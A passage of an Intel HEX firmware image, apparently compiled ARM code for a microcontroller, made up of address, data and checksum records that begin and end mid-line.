8\n:10C95000062A05D0AA0711D1184A296891420DD19B\n:10C960002340062B05D0A307E3D1144B22689A423B\n:10C97000DFD121002800FCF7B9FEDBE72340062BBE\n:10C98000D7D0A30703D10D4B22689A42D1D02800FB\n:10C99000FFF734FF8369002BCBD0220029001B2036\n:10C9A00098470028C5D0064BC01A43425841C0B230\n:10C9B000C0E7C04624DD0200070080FF40BB020044\n:10C9C000B4AD0200104B10B5984219D00F4A0123A4\n:10C9D000904217D0184201D0184110BD830706D1EC\n:10C9E0000B4B02689A4202D1F9F766F9F5E717F0A6\n:10C9F0008CF9084902000848F5F712FEFAF750FDD5\n:10CA00000020EAE71800E8E7ACAD0200B4AD020090\n:10CA100004C602008642030058A6020010B5C307F0\n:10CA200005D4830706D1054B02689A4202D116F05D\n:10CA300062F810BDFFF7C6FFFBE7C04604C6020060\n:10CA4000104B70B50D000124984204D100230B60F7\n:10CA50002300180070BD0C4B984201D10C60F7E721\n:10CA60000300234002D040102860F1E70322024077\n:10CA7000EFD11300054902688A42EAD1F9F71CF99F\n:10CA8000F2E7C046ACAD0200B4AD020004C602003D\n:10CA9000184B10B5984228D0174B984227D0C3079F\n:10CAA00003D540100FF02EF810BD0323184206D115\n:10CAB000124A0168914202D116F026F8F4E702000A\n:10CAC0001A40022A08D10E4A0240062A04D0FF2248\n:10CAD000D20580189843E7E717F017F909490200D3\n:10CAE0000948F5F79DFDFAF7DBFC0020DCE7FE20A6\n:10CAF0008005D9E7ACAD0200B4AD020004C6020067\n:10CB0000070080FF6C42030058A6020010B583079F\n:10CB10000CD103680A4CA34202D119F0EDFB10BD01\n:10CB2000084CA34202D116F09AFEF8E717F0EDF890\n:10CB3000054902000548F5F773FDFAF7B1FCC04658\n:10CB40006CD10200FCC102001C42030058A6020086\n:10CB500013B50C0001A9FFF7D9FF019BA34206D032\n:10CB6000220003490348F5F75BFDFAF799FC13BD72\n:10CB70003F420300D0A60200F7B506000D001400E6\n:10CB80001F00D3070FD554100194019B002B01DA2D\n:10CB90005B190193019B002F1BD0002B15DA00239A\n:10CBA00001930198FEBD01A91000FFF749FF00287D\n:10CBB000EBD12000756817F0A8F82A0003000A4995\n:10CBC0000A48F5F72DFDFAF76BFCAB42E9D9019560\n:10CBD000E7E7002B01DBAB42E3D372680449054869\n:10CBE000F5F71EFDEFE7C046E241030058A602003C\n:10CBF000064203004CA3020010B50400830710D1C5\n:10CC00000D4B02689A420CD10C4B0340062B06D107\n:10CC1000C0081AF0EEFC43000120184310BD8068E4\n:10CC2000F9E72000FFF7EAFD4369181EF6D021005E\n:10CC300001209847F2E7C04620B90200070080FFB4\n:10CC4000164B70B5040000209C4203D0144DAC423A\n:10CC500001D1012070BD134B00209C42FAD0012667\n:10CC60002640864203D06010431E98410DE020000C\n:10CC7000FFF7C4FD4369002B09D02100300098471D\n:10CC8000002804D0401B43425841C0B2E2E72000D4\n:10CC9000FFF7B2FF0028DCD00138E5E7ACAD0200B9\n:10CCA000B4AD020024DD020010B50400FFF7A4FFBC\n:10CCB000002809D1200017F028F804490200044890\n:10CCC000F5F7AEFCFAF7ECFB10BDC0469E42030040\n:10CCD00058A6020070B504000D001600FFF78EFD87\n:10CCE000036A002B05D03200290020009847002855\n:10CCF00018D10D4D2000002E08D117F006F80200C3\n:10CD00000A492800F5F78CFCFAF7CAFB042E04D177\n:10CD100016F0FBFF06490200F3E716F0F6FF05499F\n:10CD20000200EEE770BDC04658A6020006430300AD\n:10CD3000314303005243030010B516F0FDFF0028F5\n:10CD400002D10248F4F762FC10BDC046BD410300A9\n:10CD5000F0B5036899B00700986807911AF0A5F933\n:10CD6000431E0493031D9B00FB1802933B0001220A\n:10CD70000F21800014331B180393FB6806A81A4088\n:10CD800009180A70032293430A930CA8FAF762FB6E\n:10CD9000031E00D044E3079A7D68BC68002A00D1D6\n:10CDA000A1E22A785E2A00D19DE207980793F4F762\n:10CDB00083F904000AE0D84B63600434D74B9A6CC3\n:10CDC000002A00D18EE200229C6C9A64FAF760FB84\n:10CDD0000D9425E3D24BEFE7D24BEDE77F216B7843\n:10CDE0005B06DB173278DB01100052B208400343C8\n:10CDF0000136002AF6DB01225B001343DCE7002347\n:10CE00007F213278DB01100052B20840C31801368E\n:10CE1000002AF6DBDB000622EFE703220336964307\n:10CE200008CEC9E70023C7E700237F213278DB0162\n:10CE3000100052B20840C3180136002AF6DB9B00EE\n:10CE40005B42029A9858002800D02BE3B649B748B5\n:10CE500015F0EFF8ADE700237F213278DB011000F9\n:10CE600052B20840C3180136002AF6DB029A9B0032\n:10CE70005B42985815F015F8E5E700207F223378DB\n:10CE8000C00119005BB2114008180136002BF6DB17\n:10CE9000251DF3F70FFC60603EE000207F22337811\n:10CEA000C00119005BB2114008180136002BF6DBF7\n:10CEB000251DF3F7CDFBEEE700217F223378C90172\n:10CEC00018005BB2104041180136002BF6DB2068D9\n:10CED00014F08BFF206071E700217F223378C901B5\n:10CEE00018005BB2104041180136002BF6DB22001F\n:10CEF00001CCF3F759FD61E700207F223378C001B0\n:10CF000019005BB2114008180136002BF6DB210036\n:10CF10000839251FFBF764FE2C004FE7251DF3F7AA\n:10CF2000E1FBB8E7251F042221682868FFF7D2FE3D\n:10CF30002860F1E700237F213278DB01100052B234\n:10CF40000840C3180136002AF6DB9B005B42029AB8\n:10CF500021689950FBE000237F213278DB0110002B\n:10CF600052B20840C3180136002AF6DB029A9B0031\n:10CF70005B4221689858251F14F095FFCCE70020EC\n:10CF80007F223378C00119005BB2114008180136C6\n:10CF9000002BF6DB2168251FF3F7BAFBBCE7002066\n:10CFA0007F223378C00119005BB2114008180136A6\n:10CFB000002BF6DB2168251FF3F7C2FBACE700214D\n:10CFC0007F223378C90118005BB210404118013646\n:10CFD000002BF6DB231F1A682068F3F70DFD083CD1\n:10CFE000ECE62200231F083A216812681868FFF750\n:10CFF00071FE0C3CE2E600237F213278DB01100059\n:10D0000052B20840C3180136002AF6DB029A9B0090\n:10D01000D31A1A68002A00D118E700221A60CDE658\n:10D0200000257F223378ED0119005BB211404D19C4\n:10D030000136002BF6DB029BAD005D1B286814F067\n:10D0400030FF002800D101E70021286814F02BFFF1\n:10D05000B4E600207F223378C00119005BB2114092\n:10D0600008180136002BF6DBF3F75EFBA6E600207E\n:10D070007F223378C00119005BB2114008180136D5\n:10D08000002BF6DBF3F768FB98E6230004CB626025\n:10D090001C0093E62368A360231F1B6863600834A9\n:10D0A0008CE6231F196822682160B7E7221F1368E6\n:10D0B000216823602300083B1868106019607DE632\n:10D0C000737832781B021343ED18194BEE1875E68E\n:10D0D00033787678206836021E430196FFF7B0FD5C\n:10D0E000EE1C251F2C00002800D167E6114A019B89\n:10D0F00094466344F61861E6337876782068360201\n:10D100001E430196FFF79CFDEE1C251F2C000028F6\n:10D1100000D053E6EAE7C046ACAD0200842E002002\n:10D1200024DD0200B4AD02007F43030078A40200B6\n:10D130000380FFFF0080FFFF337876782068360297\n:10D140001E430196EE1CFFF77BFD0028CED1043C68\n:10D1500034E633787678206836021E430196EE1C5A\n:10D16000FFF76EFD0028C1D0F1E7F121266822000B\n:10D1700030004900F3F718FC2300F02108331A00AF\n:10D18000300049000193F3F70FFC0021019A0800D9\n:10D1900014F01CFEAB786A781B0213430A9AEE1C4B\n:10D1A0000C320A920A9AF31813600F2206ABD218B7\n:10D1B0001578231D1D4302230A992B434B6000233E\n:10D1C0000A9913708B60A060019CF7E52500236825\n:10D1D000B54A0193083D934209D16360A3602A00D8\n:10D1E0000021032014F0F2FD019B2B6094E6012244\n:10D1F000019B134005932AD0231F1A680592019AB8\n:10D200005210012A0DD1A84A0C3C1A60E26022613A\n:10D2100000212200032014F0D9FD059B2360032385\n:10D22000E3E72A68002106929F4A03202A601A60D9\n:10D230002300103B22601A00019314F0C7FD019BEC\n:10D24000069A0C3C1A60059B23600523CDE7019BE1\n:10D2500063601800FFF7D2FA934B2060A3602A00A6\n:10D260000599032014F0B2FDFFF7EAFC00280DD069\n:10D2700001228D4B06A92B600A9B5B6813400E327E\n:10D28000521813700A9B0C3B0A9345E66368ACE79F\n:10D29000737832781B021343844AEB189B1863603F\n:10D2A000EB78083423600F267F210220012506AA8F\n:10D2B0002368B6180B4206D1221F1668002B00D136\n:10D2C0008DE6183C7AE50A9A013B526802426FD01B\n:10D2D000220008C20523636014000A9B1E680A9B93\n:10D2E0000C3B0A9335007D602B786E1C18001038BB\n:10D2F0005A2800D903E30DF0C5FA5EFD6DFD6FFD00\n:10D30000020371FD020382FD90FD95FD97FDAEFDC8\n:10D31000C0FDD0FDDFFDEFFDFFFD11FE15FE1DFE82\n:10D320002EFE42FE52FE62FE74FE7EFE93FEACFEB8\n:10D33000BAFE0203020302030203C8FECDFE2AFF67\n:10D34000D4FED9FEE3FEEBFEFFFE1FFF2CFF02031F\n:10D350000203020338FF69FF630063008000AE0030\n:10D36000BF00DD00DD00CBFFB300020302030203B8\n:10D3700002030203020302030203E900FB000203AB\n:10D380000D011C01020325015201370173018901BE\n:10D390003602660294027E0202039E01A801B201D7\n:10D3A000BF01CB01E80102021F02CC02EB02FC022A\n:10D3B0000A9A52682A4032700A9A0C3A0A9279E71D\n:10D3C000737832781B0213430A9AEE1C0C320A92CD\n:10D3D0000A9AF31813602B7806A9403B5A4253412E\n:10D3E0000F22521810785B000A99034323434B60C5\n:10D3F00000230A9913708B60E0E423682A4A934261\n:10D4000000D1A4E6DA0707D55B10DBB2043C012BA0\n:10D4100000D048E70222CCE1FAF73AF823680D93EE\n:10D420000D9B23491868FBF7EBFB002800D1ACE209\n:10D430007A68002A00D1A8E21378432B00D096E244\n:10D44000937850781B02D11C0343CB187B60BB68D8\n:10D45000103BBB6099E400212068F3F7F1FA39E54D\n:10D460002500210020680C35F3F7EAFA844200D148\n:10D4700052E5002323600EE52000337876780C38DF\n:10D480003602BC601E4303680196EE1C002B02D1DD\n:10D490002300083B1868F3F70DFB002802D1103C6D\n:10D4A000019B27E6606088E424DD02000380FFFF23\n:10D4B000A4A5020001220A9B06A95B6813400E3254\n:10D4C000521813700A9B0C3B0A9377E400207F22CA\n:10D4D0003378C00119005BB2114008180136002BE7\n:10D4E000F6DB8100641A0434210005F003FBF1E44B\n:10D4F00000207F223378C00119005BB21140081868\n:10D500000136002BF6DB8100641A0434210016F08A\n:10D510008FF9DFE400207F223378C00119005BB26D\n:10D52000114008180136002BF6DB251D17F096FD7B\n:10D53000B1E42500231F083D1A682168286817F008\n:10D54000C6FDE9E400207F223378C00119005BB2F8\n:10D55000114008180136002BF6DB8100641A0434F0\n:10D560002100F6F781FEB5E400237F213278DB014C\n:10D57000100052B20840C3180136002AF6DB251FFE\n:10D5800028682168022B03D1CB4AFDF71DFACFE4AE\n:10D59000083C0A0001002068FDF716FA9AE400230F\n:10D5A0007F213278DB01100052B20840C3180136E7\n:10D5B000002AF6DB9A089200524210590322216891\n:10D5C0001340251F002B02D1FEF780F8A4E4012BA5\n:10D5D00003D12A6817F07BFD01E514F03AFE9BE4C5\n:10D5E00000257F213378ED011A005BB20A405519FE\n:10D5F0000136002BF6DB220029002068F3F712FC2D\n:10D60000AE4B5D19AD006419FFF7D8FB00257F21F3\n:10D610003378ED011A005BB20A4055190136002B30\n:10D62000F6DB220029002068F3F74EFCFF222B0ACC\n:10D6300013401540E5E7032203369643002201CE4E\n:10D640001100251D19F049FD25E4032203369643F8\n:10D65000251F2268296801CE19F03FFD68E40322E6\n:10D66000F31C934319795E1D8A00A41A0434220026\n:10D67000186819F04EFD2DE40322F31C934318792A\n:10D680008021C243490092005E1DA4180143EEE7C9\n:10D6900000207F213378C0011A005BB20A401018C5\n:10D6A0000136002BF6DBFF25FF220100C3096D00C8\n:10D6B00011402B405B189B00E41A000A0240231D16\n:10D6C0002068F3F7C7F8FFF705FC00217F223378C5\n:10D6D000C90118005BB2104041180136002BF6DB7F\n:10D6E000FF22CB0952001340CAB29B189B00E41AD8\n:10D6F000083C22000020F3F745FAFFF7EBFB00237C\n:10D700007F203278DB01110052B20140CB18013684\n:10D71000002AF6DBFF211800FF250840DA096D001A\n:10D720002A40451C52199200A41A1B0A19402200D3\n:10D7300014F04CFBFFF7CEFB00217F223378C901A8\n:10D7400018005BB2104041180136002BF6DBFF22B7\n:10D75000CB0952001340CAB29B189B00E41A0C3C40\n:10D7600022000120C7E70F2206ABD2181378002B46\n:10D7700000D14FE601210A9B5B680B4013700A9BA6\n:10D780000C3B0A9346E60A9B5B6813420ED00322C9\n:10D790000A9B21685B6893431C0059609A600A9B4E\n:10D7A00008341E680A9B0C3B0A939BE50A9B0C3BC2\n:10D7B0000A930A9B03998B42E5D2F9F769FE002090\n:10D7C000BC6019B0F0BD6B78022B03D1043C20681B\n:10D7D000FFF7EDFA002BFAD10A9B039A934203D28A\n:10D7E00037493848FFF734FB9868002801D0FFF725\n:10D7F000DEFA0C3BF1E7231F0593079B0193231FE0\n:10D800001868019B002B19D00021079B07910193F9\n:10D81000019A0BABF3F7D6FB0B9B012812D12E001C\n:10D820002360F9F735FE0F2306AA9B181A780A9B86\n:10D830007E601343BC60FB600120C2E70BAB019A22\n:10D840002168E7E7002811D1002B00D11A4B043CD6\n:10D850002360019B002B19D01B49180014F0F3FB27\n:10D86000002813D0F9F714FE019BD8E517491800DA\n:10D8700014F0E9FB002805D00B98F4F79DFE043C5A\n:10D880002060E6E7F9F704FE0B9BC8E5059CFFF76F\n:10D8900095FA00207F223378C00119005BB2114055\n:10D8A00008180136002BF6DB251F2A682168F3F7DC\n:10D8B00021FCFFF73DFBC04624DD0200FFFFFF3FD8\n:10D8C000C543030068A5020098A20200A4A50200B7\n:10D8D00000217F223378C90118005BB21040411843\n:10D8E0000136002BF6DB250001CDF3F715FCFFF721\n:10D8F000D2FA2068251F14F084FAFFF70DFBAF2B36\n:10D9000005D80120803B5B000343FFF755FABF2B8E\n:10D9100004D8B022D31A9B00FFF793FACF2B04D878\n:10D92000C022D31A9B00FFF712FBD62B06D8D03BA0\n:10D9300018002168F2F71CFFFFF7CCFAFA2B08D881\n:10D94000251FD73B180022682968F3F7A3FCFFF7CF\n:10D95000EFFA4549454814F06CFB0400F9F798FDCF\n:10D96000049B04339B00FB185C60022029E75E2BBC\n:10D970000BD1BC680D98231DBB60F4F71DFE6060E1\n:10D980007B6801337B60FFF700FA0D9B384A9342B6\n:10D990002AD0384A934227D03B68986819F08BFB0D\n:10D9A00019F089FB7B68051D28005C1B19F07DFBC5\n:10D9B0000600280019F07FFB050019F076FBA41B78\n:10D9C0000600280019F077FB050019F06EFB0190A6\n:10D9D000280019F070FB01220378002B09D13300D5\n:10D9E00001990D98F4F788FE0F2306AA9B180121D0\n:10D9F0001DE059B2002909DB19001F255B092940E8\n:10DA000001308C42EBD3641AD218E5E70F21E025F0\n:10DA10001940ED001B012B40457802302B43F0E705\n:10DA20000A9A52680A401A700A9A0C3A0A921A78AC\n:10DA3000002AF5D10A9903980D9A81420DD301214C\n:10DA400019700A9B02311B687B600A9B5B688B43E1\n:10DA50000A9904338A601A60FBE4049B04339B0038\n:10DA6000FB185A6081E7C046AB430300B4A4020030\n:10DA700010A1020020A102000122010003001140B8\n:10DA8000100000290CD10800990709D11B6805492D\n:10DA900010008B4204D00448181A43425841C0B2C7\n:10DAA0007047C04604C60200BCAD02000023FA2144\n:10DAB000094A89001360094A1370094A1360094A28\n:10DAC0001160094A1370094A111D0832D3670122F7\n:10DAD000CB67074B1A7070471C020020DA2D00201C\n:10DAE0001802002020000020DB2D0020842E0020C2\n:10DAF000DC2D002010B5084B084A1978002907D101\n:10DB0000916C002902D0FFF7D1FF10BD30BFF4E7C0\n:10DB100000221A70F9E7C046DC2D0020842E002078\n:10DB2000837F0248002B00D101487047B4AD02004A\n:10DB3000ACAD02000023A022E02110B583770C4B8E\n:10DB4000D2050902D1500B4805F004FA0A4805F045\n:10DB500001FA0A4805F0FEF9094805F0FBF9094801\n:10DB600005F0F8F9084805F0F5F9084810BDC04679\n:10DB70000C05000060CF020068CF020078CF0200E1\n:10DB800080CF020090CF020008CF020024DD020007\n:10DB9000F8B5164C2368002B07D148201BF080FCF9\n:10DBA000050013490AF096FA2560124812490268E6\n:10DBB0000B68D21A0123312A04D9623393429B4164\n:10DBC0005B420233002201260C4D2E702F78032F6A\n:10DBD000FCD101329342F8D1036820680B600AF04F\n:10DBE00027FA430001201843F8BDC0462002002058\n:10DBF000F4C30200D82F002024020020DD2D0020D5\n:10DC000030B50D4C87B02378012B13D10B4B02227A\n:10DC10001D680621002302A819F0BFFF082204A9ED\n:10DC200068461BF0B8FC039B029A28000AF0B0F982\n:10DC30000223237007B030BDDD2D0020200200201C\n:10DC4000A02010B51049C0054B7F5A1C002B09D1EC\n:10DC50004C8C0E4BA3430E4C03510E4B4A77520093\n:10DC6000D05A0FE010335B00CB185C88A123DB0097\n:10DC7000C450092AF1D1012006F08AFDFFF7C0FF48\n:10DC80000120404210BDC04624000020F01F0000CB\n:10DC90000C0500001804030073B5041E09D11A4DC9\n:10DCA0002B78002B2CD01949194816F05EF82C70EF\n:10DCB00073BD184D2B1DDE6FFEF7A0FD164B210026\n:10DCC000984214D0154B2340062B05D0A30712D140\n:10DCD000134B22689A420ED101A92000FBF756FD92\n:10DCE000019B012B0CD1007817F056F90100300090\n:10DCF00016F03BF8DCE70B490B4814F09AF9A864DE\n:10DD0000FFF7D4FED4E7C046DB2D002004CA020092\n:10DD100024000020842E002064CA0200070080FF37\n:10DD200040BB02005044030058A60200F7B5A123EF\n:10DD3000A021214AC905DB00CA500123C27F0D3250\n:10DD400093401E4A8B50C37F01920133DBB2032BF9\n:10DD50002FD0C3770200030000212233363219800E\n:10DD600002339342FBD1C47F154A6300D3180522C6\n:10DD700004259446012167461A785E787A43114F4C\n:10DD80000633BA180F00AF409219127901355200CC\n:10DD90008218568C3E4356840D2DECD10D34A023B1\n:10DDA000A122A140DB05D2009950828E01995A50E0\n:10DDB000F7BD0023CDE7C046F01F00000C050000B2\n:10DDC000E44303002400002070B5394B8CB01A786E\n:10DDD000022A07D1A0223749D2008A58012A07D047\n:10DDE00003221A70344DAB7F002B03D1FFF708FFDD\n:10DDF0000CB070BD2800FFF799FF304A3049136816\n:10DE00000968063313608B4207D300242D4B14603E\n:10DE10001B78012B0FD0022B45D000232A8C6B7767\n:10DE2000FF33FF331A42E1D0E1222749D20001201B\n:10DE300006F07AFCDCE7254E331DDB6F002B04D0A7\n:10DE400033000833DB6F002B02D1FFF72FFEE4E72E\n:10DE500005F02CFC6846F9F7FDFA00280CD11C4BA4\n:10DE60001868F2F727FE0400F9F712FB05F028FC0A\n:10DE70002000FFF711FFD0E705F022FC019B1549B8\n:10DE80001868FAF7BDFE0028F2D10198FEF7B6FC3B\n:10DE9000114B984203D11149114815F096F8019B96\n:10DEA0000024B364E4E70F49280015F05EFFCCE7D7\n:10DEB000DD2D00200070004024000020180200200A\n:10DEC00020000020DA2D002041DC0000842E0020FC\n:10DED0001C020020A4A502003CA40200EB400300A9\n:10DEE00034B7020004CA0200F0B5002485B0154D15\n:10DEF00002930AAB1B782E1D07000835080021008D\n:10DF000001920393F467EC67F2F79AFD0E4B019AC6\n:10DF100018600E4BF7671A60029A0D4BE8671A708B\n:10DF20000C4B1C70F2F7C6FDFFF7B6FE01220A4B40\n:10DF30001C600A4B1A70039BA34201D0FFF7DAFD65\n:10DF400005B0F0BD842E00201C020020200000201F\n:10DF5000DB2D0020DC2D002018020020DA2D00200F\n:10DF6000F0B50024384B8FB01D1D0833DC67374BEC\n:10DF7000EC6709AD80C90138019500930523F4F7DA\n:10DF80000DFA6B68099C049307942B7B2E7A0593FA\n:10DF90002B7C20000393FFF76FFD2D4D002806D149\n:10DFA00003232340022B09D12C40062C06D007ABBB\n:10DFB000002201212748FAF7DFFF07900798054064\n:10DFC000062D05D0830730D1224B02689A422CD10E\n:10DFD00008A9FBF7DBFB089B002B23D0012B0DD1FD\n:10DFE000002E0BD1039B002B08D1007816F0D4FF34\n:10DFF00007900799380015F0B8FE13E0079802F073\n:10E00000C9F8079009AB1B7C002B03D00798FCF7DD\n:10E010004BFA0790059B049A009307993300380048\n:10E02000FFF762FF0C480FB0F0BDFEF7E7FB0B4BAC\n:10E030009842E7D1002E02D1039B002BD9D007A92B\n:10E04000012004F057FDDCE7842E0020A0C402006C\n:10E05000070080FF40BB020024DD020064CA02000A\n:10E0600070B51B4B8AB005AD40C9013800930195CE\n:10E070000523F4F793F9059C20000494FFF7FCFCBA\n:10E08000002807D103232340022B0AD1114B1C4047\n:10E09000062C06D004AB002201210F48FAF76CFFD2\n:10E0A000049003A90498FBF771FB2A7C2B7B03994E\n:10E0B0000092059A02F058F82B7A01000093300084\n:10E0C00000236A68FFF710FF04480AB070BDC0461D\n:10E0D000C8C40200070080FF40BB020024DD02002C\n:10E0E0000022074B10B51A70064B02321A70064B0D\n:10E0F000064A1B68063B1360FFF7FCFC10BDC046D8\n:10E10000DC2D0020DA2D0020200000201802002045\n:10E1100010B5FFF7E5FF014810BDC04624DD020041\n:10E1200010B5042901D8042A02D90948F3F7AAF83E\n:10E13000092B01D90748F9E705244C430419A41811\n:10E1400001229A402371038C1343038410BDC046FF\n:10E150001D4103005D440300F8B548680C000D68DC\n:10E16000FEF730FC0600A068FEF72CFC0700E06814\n:10E17000FEF728FC3A00030031002800FFF7D0FF2B\n:10E180000048F8BD24DD020010B5042901D8042A96\n:10E1900002D90448F3F776F805234B43C0188018DA\n:10E1A000007910BD1D41030070B5104C0500210021\n:10E1B0000F4804F0E5FE21000E4804F0E1FE2100C6\n:10E1C0000D4804F0DDFE21000C4804F0D9FE2100CA\n:10E1D0000B4804F0D5FE21000A4804F0D1FE15F0EA\n:10E1E00048FE01230848AB7770BDC046CCD2020080\n:10E1F00060CF020068CF020078CF020080CF02001B\n:10E2000090CF020008CF020024DD02000139C9B21C\n:10E21000054B401880301970044A03781370044A83\n:10E22000D25C044B1A707047DF2D0020E02D0020D7\n:10E2300035560300DE2D00200131C9B2054B4018D0\n:10E2400080301970044A03781370044AD25C044B7E\n:10E250001A707047DF2D0020E02D00203556030096\n:10E26000DE2D0020084B984206D9084A084B1218A8\n:10E270005218D21810787047064B074A1B185B18C3\n:10E280009B181878F7E7C046A49200007654030064\n:10E290005B6DFFFF8A4403000083FFFF0300202221\n:10E2A0008033F0B51A707F2500234F265F270400C6\n:10E2B0008BB08130E15C0A002A406F2A23D90A0022\n:10E2C0003A40C25401337F2BF4D1BE4A137023006D\n:10E2D0001B22FF331A70E4320192531CBA48DBB29E\n:10E2E00004930370E31880331B78B8490B705B2BE1\n:10E2F0000ED19B22019B0A700133DBB20370E25402\n:10E3000001200BB0F0BD5F2ADBD90A003240D8E70C\n:10E310002E2B13D10232D2B20270A21880321278A0\n:10E32000A8480270AA48825C0120024206D1019AE4\n:10E330000B701218D2B20192A354C3E00220A14A7A\n:10E340001370A34AD25C104000D0BDE0002A0AD06E\n:10E3500016007F2552B2AE430E70002A1ADB9D4B89\n:10E360009D4A1A60CDE7202297480A700378E31887\n:10E3700080331A70019B0133DBB201930370782B59\n:10E3800005D99B23019AA354049B0B70B8E7019B0A\n:10E39000E25497E0413B914ADBB29149D25CCB5CBD\n:10E3A000120213430293029B002101339BB2180017\n:10E3B0000293FFF757FF0306F5D50123814E00278F\n:10E3C00033700123039303990298FFF74BFF039BDC\n:10E3D0005D1CEDB2282879D1002F00D0337037783A\n:10E3E0007B1CDBB2190002980693FFF73BFF29283C\n:10E3F0006FD17F26069B0893089B02980133DBB2FE\n:10E4000019000593FFF72EFF30403D2863D1002609\n:10E410006E4B049A18706C4B07921A70694B1D7002\n:10E42000079B2900E31880331B7802980993FFF7B4\n:10E4300019FF099B9842B6D16B1CDBB2BD424DD18E\n:10E44000002E02D0604B079A1A70049D039B02981D\n:10E45000013BDBB20393039A5A4B11001A70FFF78A\n:10E4600001FF5A4E030640D5079D069B08990133CC\n:10E47000DBB20393039A534B1A70069A8A4200D078\n:10E480001BE100257F272E00059A1A700599029836\n:10E49000FFF7E8FE03003B403D2B04D0019A013218\n:10E4A000D2B20192A354059A0132D2B2010600D42D\n:10E4B000B3E1464A1370002E02D0424B059A1A70FF\n:10E4C000079B0493049A08E7464B6BE701270395E3\n:10E4D00079E7069F84E7059B08938DE7079A012655\n:10E4E0000132D2B207921D009AE7394B7F211B5CA3\n:10E4F000354F1A005BB28A4338703270002B08DA4D\n:10E50000013DEDB2631980331B783D7098429DD078\n:10E5100049E7307020280BD129002000FFF776FE54\n:10E520000023F356002B00DA3DE7274B1D788DE7DB\n:10E53000232807D129002000FFF768FE33785B0607\n:10E54000F3D430E72E2807D129002000FFF75EFE24\n:10E5500033781B07E9D426E726281BD129002000A1\n:10E56000FFF754FE1022337813403370DDD13B782F\n:10E57000E118803109783170482900D013E7013B58\n:10E58000DBB23B70E31880331B789343432B00D0FE\n:10E5900009E7CAE7402809D129002000FFF736FE25\n:10E5A0000422337813403370BFD1FCE65E281BD1C0\n:10E5B00029002000FFF72AFE202233781342B4D12D\n:10E5C000F1E6C046E02D0020DF2D0020DE2D0020EA\n:10E5D000355603001800002076440300BB560300A4\n:10E5E000A1560300A59200002B280DD1013DEDB2EC\n:10E5F0003D70651980352B78452B96D010229343BA\n:10E60000492B00D0CFE690E73A2804D0844B854AC6\n:10E6100000201A6075E629002000FFF7F7FD202191\n:10E62000814A13780B40137000D10FE77F4B1D78A0\n:10E63000F1E7492B00D0B6E6AB1CDBB21370E31850\n:10E6400080331B780B704E2B00D0ACE60335EDB257\n:10E650001570651980352B78472B00D1CCE0A2E6E8\n:10E660001070180052380B70012800D8C4E0442BF9\n:10E6700000D1C1E04C2B16D0462B00D093E6EB1C0A\n:10E68000DBB21370E31880331B780B70552B00D06E\n:10E6900089E60435EDB21570651980352B784C2B61\n:10E6A00000D1A9E07FE60335EDB21570651980351C\n:10E6B0002B78592B00D19FE075E603990298FFF75C\n:10E6C000D1FD5B4B7F211B5C584F1A00564E8A438D\n:10E6D0005BB238703270002B0CDB3070202815D103\n:10E6E00029002000FFF7A8FD0023F356002B00DBD4\n:10E6F00082E058E60135EDB2631980331B783D7036\n:10E70000984200D04FE6039B0693AEE6232807D13C\n:10E7100029002000FFF790FD33785B066CD442E6B9\n:10E720002E2807D129002000FFF786FD33781B072C\n:10E7300062D438E626281BD129002000FFF77CFD93\n:10E74000102233781340337056D13B78E118803172\n:10E7500009783170482900D025E60133DBB23B70DF\n:10E76000E31880331B789343432B00D01BE643E030\n:10E77000402809D129002000FFF75EFD04223378EC\n:10E780001340337038D10EE65E2808D129002000EE\n:10E79000FFF752FD2022337813422DD103E62B28B8\n:10E7A0000DD10135EDB23D70651980352B78452BC3\n:10E7B00022D010229343492B00D0F4E51CE03A28E4\n:10E7C0001DD0252800D021E76B1C184ADBB213703E\n:10E7D000E31880331B7814490B70452B00D028E7D1\n:10E7E000A81CC0B2231880331B78124E3370104E11\n:10E7F000F656002E00DA33E70C4B1D7883E729002C\n:10E800002000FFF719FD2021074A13780B401370F1\n:10E8100000D178E7054B1D78F1E70592012635E632\n:10E820001800002080440300DE2D0020DF2D002092\n:10E8300035560300E02D002010B50C00FDF7DEFF7B\n:10E84000006B00280ED0E30702D50368002B09D027\n:10E85000A30702D54368002B04D0630706D583685D\n:10E86000002B03D10249034813F0ECFA10BDC04657\n:10E87000D5560300F0A40200F0B50F008BB00400E1\n:10E88000012138680392FFF7D7FF0290012C22D1B3\n:10E890003B68012118000393FFF7CEFF802107009A\n:10E8A000490006A818F0B0FD80240023089E6400EB\n:10E8B000029305AB2200310003983D68A847431C32\n:10E8C00028D105980B2800D0A7E0029B002B34D15B\n:10E8D00057480BB0F0BD7868FEF774F80600431C8B\n:10E8E000D6D00125029B04001B7B010006A82B4209\n:10E8F0007DD018F089FD002303950293002C6DD084\n:10E90000210006A818F0C0FD011E1ED149494A4841\n:10E9100013F098FA002810D0029B1B18029384422F\n:10E9200002D9241A3618C4E7802106A8490018F035\n:10E9300098FD802406006400BBE7029B3F480793D4\n:10E940003B7BDB0771D43E486FE00023009322003D\n:10E9500005AB386815F09AFA059B0500002B0ED020\n:10E9600006A8210018F0F4FD05980B2855D1079B47\n:10E970000293002B32D106A818F068FDA8E7844264\n:10E9800026D8089B0F259C46079A63460299039C4C\n:10E990005B5C59B2002911DA19001F20022481435F\n:10E9A000C0290BD019000134A943E02906D0072162\n:10E9B0008B43F03B1C00611E8C410434029BE41825\n:10E9C000944210D8013E02949442DED1340095E77F\n:10E9D000211A06A818F0BCFD002DD2D1174806A9AF\n:10E9E000FAF74AFA75E7D2431419A41986E718F022\n:10E9F0001CFD039B32000093089905AB386815F0A5\n:10EA000045FA059B002B0AD006A818F01FFD059BB0\n:10EA100007480B2B00D15CE71800F2F719FE029BA8\n:10EA200007901B7B05482B428DD006A9D8E7C0462E\n:10EA300024DD0200F45603003CA4020040BB0200A7\n:10EA400020B9020030B50C0087B001210500206814\n:10EA5000FFF7F2FE022203A96068FEF76DF9049A3F\n:10EA6000022D06D9A068FDF7ADFF049A824200D9B5\n:10EA70000200002303990093206802AB15F006FA08\n:10EA8000029B002B05D005480B2B05D01800F2F790\n:10EA9000DFFD43000120184307B030BD24DD020034\n:10EAA000F0B589B00191019B040001211868FFF7BE\n:10EAB000C3FE0700012C18D9019B5B685C10631C26\n:10EAC00013D0210004A818F09FFC631C03D0631E20\n:10EAD000002C2FD01C00012104A818F0D5FC061E24\n:10EAE0000AD11B491B4813F0ADF90124102104A8D9\n:10EAF00018F08AFC6442E8E70100019803AB0122A8\n:10EB000000683D68A847431C0ED103980B2809D123\n:10EB1000059B0193012B09D104A818F097FC0E481E\n:10EB200009B0F0BDF2F794FD00280CD1012104A832\n:10EB300018F00EFD3B7B0948DB0700D4084804A908\n:10EB4000FAF